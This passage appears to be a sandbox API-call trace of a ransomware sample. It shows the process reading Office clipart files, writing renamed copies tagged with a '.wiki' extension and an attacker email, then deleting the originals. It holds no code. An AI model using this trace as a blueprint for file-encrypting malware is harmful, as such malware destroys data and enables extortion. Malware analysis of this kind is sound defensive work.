(lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 63 [0189.924] lstrlenW (lpString=".1cd") returned 4 [0189.924] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 63 [0189.924] lstrlenW (lpString=".jpg") returned 4 [0189.924] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 63 [0189.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 63 [0189.924] lstrlenW (lpString=".doc") returned 4 [0189.924] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.924] lstrlenW (lpString=".docx") returned 5 [0189.924] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.924] lstrlenW (lpString=".pdf") returned 4 [0189.924] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.924] lstrlenW (lpString=".xls") returned 4 [0189.924] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.924] lstrlenW (lpString=".xlsx") returned 5 [0189.924] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.924] lstrlenW (lpString=".ppt") returned 4 [0189.924] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 63 [0189.924] lstrlenW (lpString=".zip") returned 4 [0189.925] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.925] lstrlenW (lpString=".rar") returned 4 [0189.925] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.925] lstrlenW (lpString=".bz2") returned 4 [0189.925] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.925] lstrlenW (lpString=".7z") returned 3 [0189.925] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 63 [0189.925] lstrlenW (lpString=".dbf") returned 4 [0189.925] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 63 [0189.925] lstrlenW (lpString=".1cd") returned 4 [0189.925] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 63 [0189.925] lstrlenW (lpString=".jpg") returned 4 [0189.925] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.925] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0189.925] lstrlenW (lpString="HH02298_.WMF") returned 12 [0189.925] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02298_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0189.926] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=5552) returned 1 [0189.926] CloseHandle (hObject=0x1f8) returned 1 [0189.926] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02298_.wmf")) returned 0x20 [0189.926] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02298_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0189.926] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02298_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0189.926] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0189.926] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0189.926] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02298_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0189.926] GetLastError () returned 0x0 [0189.927] ReadFile (in: hFile=0x1f8, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x15b0, lpOverlapped=0x0) returned 1 [0189.928] WriteFile (in: hFile=0x218, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x15c0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x15c0, lpOverlapped=0x0) returned 1 [0189.929] ReadFile (in: hFile=0x1f8, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0189.929] WriteFile (in: hFile=0x218, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0189.929] SetEndOfFile (hFile=0x218) returned 1 [0189.929] CloseHandle (hObject=0x218) returned 1 [0189.929] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0189.929] SetEndOfFile (hFile=0x1f8) returned 1 [0189.930] CloseHandle (hObject=0x1f8) returned 1 [0189.930] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0189.930] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02298_.wmf")) returned 1 [0189.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 63 [0189.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 63 [0189.931] lstrlenW (lpString=".doc") returned 4 [0189.931] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.931] lstrlenW (lpString=".docx") returned 5 [0189.931] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.931] lstrlenW (lpString=".pdf") returned 4 [0189.931] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.931] lstrlenW (lpString=".xls") returned 4 [0189.931] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.931] lstrlenW (lpString=".xlsx") returned 5 [0189.931] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.931] lstrlenW (lpString=".ppt") returned 4 [0189.931] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 63 [0189.931] lstrlenW (lpString=".zip") returned 4 [0189.931] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.931] lstrlenW (lpString=".rar") returned 4 [0189.931] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.931] lstrlenW (lpString=".bz2") returned 4 [0189.931] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.931] lstrlenW (lpString=".7z") returned 3 [0189.931] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 63 [0189.931] lstrlenW (lpString=".dbf") returned 4 [0189.931] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 63 [0189.932] lstrlenW (lpString=".1cd") returned 4 [0189.932] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 63 [0189.932] lstrlenW (lpString=".jpg") returned 4 [0189.932] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 63 [0189.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 63 [0189.932] lstrlenW (lpString=".doc") returned 4 [0189.932] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.932] lstrlenW (lpString=".docx") returned 5 [0189.932] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.932] lstrlenW (lpString=".pdf") returned 4 [0189.932] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.932] lstrlenW (lpString=".xls") returned 4 [0189.932] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.932] lstrlenW (lpString=".xlsx") returned 5 [0189.932] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.932] lstrlenW (lpString=".ppt") returned 4 [0189.932] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 63 [0189.932] lstrlenW (lpString=".zip") returned 4 [0189.932] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.932] lstrlenW (lpString=".rar") returned 4 [0189.932] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.932] lstrlenW (lpString=".bz2") returned 4 [0189.932] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.932] lstrlenW (lpString=".7z") returned 3 [0189.932] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 63 [0189.932] lstrlenW (lpString=".dbf") returned 4 [0189.933] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 63 [0189.933] lstrlenW (lpString=".1cd") returned 4 [0189.933] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 63 [0189.933] lstrlenW (lpString=".jpg") returned 4 [0189.933] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.933] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0189.933] lstrlenW (lpString="HH02312_.WMF") returned 12 [0189.933] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02312_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0189.933] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=4970) returned 1 [0189.933] CloseHandle (hObject=0x1f8) returned 1 [0189.933] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02312_.wmf")) returned 0x20 [0189.934] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02312_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0189.934] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02312_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0189.934] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0189.934] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0189.934] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02312_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0189.934] GetLastError () returned 0x0 [0189.934] ReadFile (in: hFile=0x1f8, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x136a, lpOverlapped=0x0) returned 1 [0189.936] WriteFile (in: hFile=0x218, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x1370, lpOverlapped=0x0) returned 1 [0189.937] ReadFile (in: hFile=0x1f8, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0189.937] WriteFile (in: hFile=0x218, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0189.937] SetEndOfFile (hFile=0x218) returned 1 [0189.937] CloseHandle (hObject=0x218) returned 1 [0189.937] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0189.937] SetEndOfFile (hFile=0x1f8) returned 1 [0189.938] CloseHandle (hObject=0x1f8) returned 1 [0189.938] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0189.938] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02312_.wmf")) returned 1 [0189.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 63 [0189.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 63 [0189.939] lstrlenW (lpString=".doc") returned 4 [0189.939] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.939] lstrlenW (lpString=".docx") returned 5 [0189.939] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.939] lstrlenW (lpString=".pdf") returned 4 [0189.939] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.939] lstrlenW (lpString=".xls") returned 4 [0189.939] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.939] lstrlenW (lpString=".xlsx") returned 5 [0189.939] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.939] lstrlenW (lpString=".ppt") returned 4 [0189.939] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 63 [0189.939] lstrlenW (lpString=".zip") returned 4 [0189.939] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.939] lstrlenW (lpString=".rar") returned 4 [0189.939] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.939] lstrlenW (lpString=".bz2") returned 4 [0189.939] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.939] lstrlenW (lpString=".7z") returned 3 [0189.939] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 63 [0189.939] lstrlenW (lpString=".dbf") returned 4 [0189.939] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 63 [0189.939] lstrlenW (lpString=".1cd") returned 4 [0189.939] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 63 [0189.939] lstrlenW (lpString=".jpg") returned 4 [0189.940] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 63 [0189.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 63 [0189.940] lstrlenW (lpString=".doc") returned 4 [0189.940] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.940] lstrlenW (lpString=".docx") returned 5 [0189.940] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.940] lstrlenW (lpString=".pdf") returned 4 [0189.940] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.940] lstrlenW (lpString=".xls") returned 4 [0189.940] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.940] lstrlenW (lpString=".xlsx") returned 5 [0189.940] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.940] lstrlenW (lpString=".ppt") returned 4 [0189.940] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 63 [0189.940] lstrlenW (lpString=".zip") returned 4 [0189.940] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.940] lstrlenW (lpString=".rar") returned 4 [0189.940] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.940] lstrlenW (lpString=".bz2") returned 4 [0189.940] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.940] lstrlenW (lpString=".7z") returned 3 [0189.940] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 63 [0189.940] lstrlenW (lpString=".dbf") returned 4 [0189.940] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 63 [0189.940] lstrlenW (lpString=".1cd") returned 4 [0189.940] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 63 [0189.940] lstrlenW (lpString=".jpg") returned 4 [0189.941] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.941] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0189.941] lstrlenW (lpString="HH02313_.WMF") returned 12 [0189.941] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02313_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0189.941] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=3082) returned 1 [0189.941] CloseHandle (hObject=0x1f8) returned 1 [0189.941] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02313_.wmf")) returned 0x20 [0189.941] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02313_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0189.941] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02313_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0189.942] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0189.942] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0189.942] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02313_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0189.943] GetLastError () returned 0x0 [0189.944] ReadFile (in: hFile=0x1f8, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0xc0a, lpOverlapped=0x0) returned 1 [0189.945] WriteFile (in: hFile=0x218, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xc10, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xc10, lpOverlapped=0x0) returned 1 [0189.946] ReadFile (in: hFile=0x1f8, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0189.946] WriteFile (in: hFile=0x218, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0189.946] SetEndOfFile (hFile=0x218) returned 1 [0189.949] CloseHandle (hObject=0x218) returned 1 [0189.949] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0189.949] SetEndOfFile (hFile=0x1f8) returned 1 [0189.950] CloseHandle (hObject=0x1f8) returned 1 [0189.950] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0189.950] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02313_.wmf")) returned 1 [0189.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 63 [0189.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 63 [0189.950] lstrlenW (lpString=".doc") returned 4 [0189.950] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.950] lstrlenW (lpString=".docx") returned 5 [0189.951] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.951] lstrlenW (lpString=".pdf") returned 4 [0189.951] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.951] lstrlenW (lpString=".xls") returned 4 [0189.951] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.951] lstrlenW (lpString=".xlsx") returned 5 [0189.951] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.951] lstrlenW (lpString=".ppt") returned 4 [0189.951] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 63 [0189.951] lstrlenW (lpString=".zip") returned 4 [0189.951] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.951] lstrlenW (lpString=".rar") returned 4 [0189.951] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.951] lstrlenW (lpString=".bz2") returned 4 [0189.951] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.951] lstrlenW (lpString=".7z") returned 3 [0189.951] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 63 [0189.951] lstrlenW (lpString=".dbf") returned 4 [0189.951] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 63 [0189.951] lstrlenW (lpString=".1cd") returned 4 [0189.951] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 63 [0189.951] lstrlenW (lpString=".jpg") returned 4 [0189.951] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 63 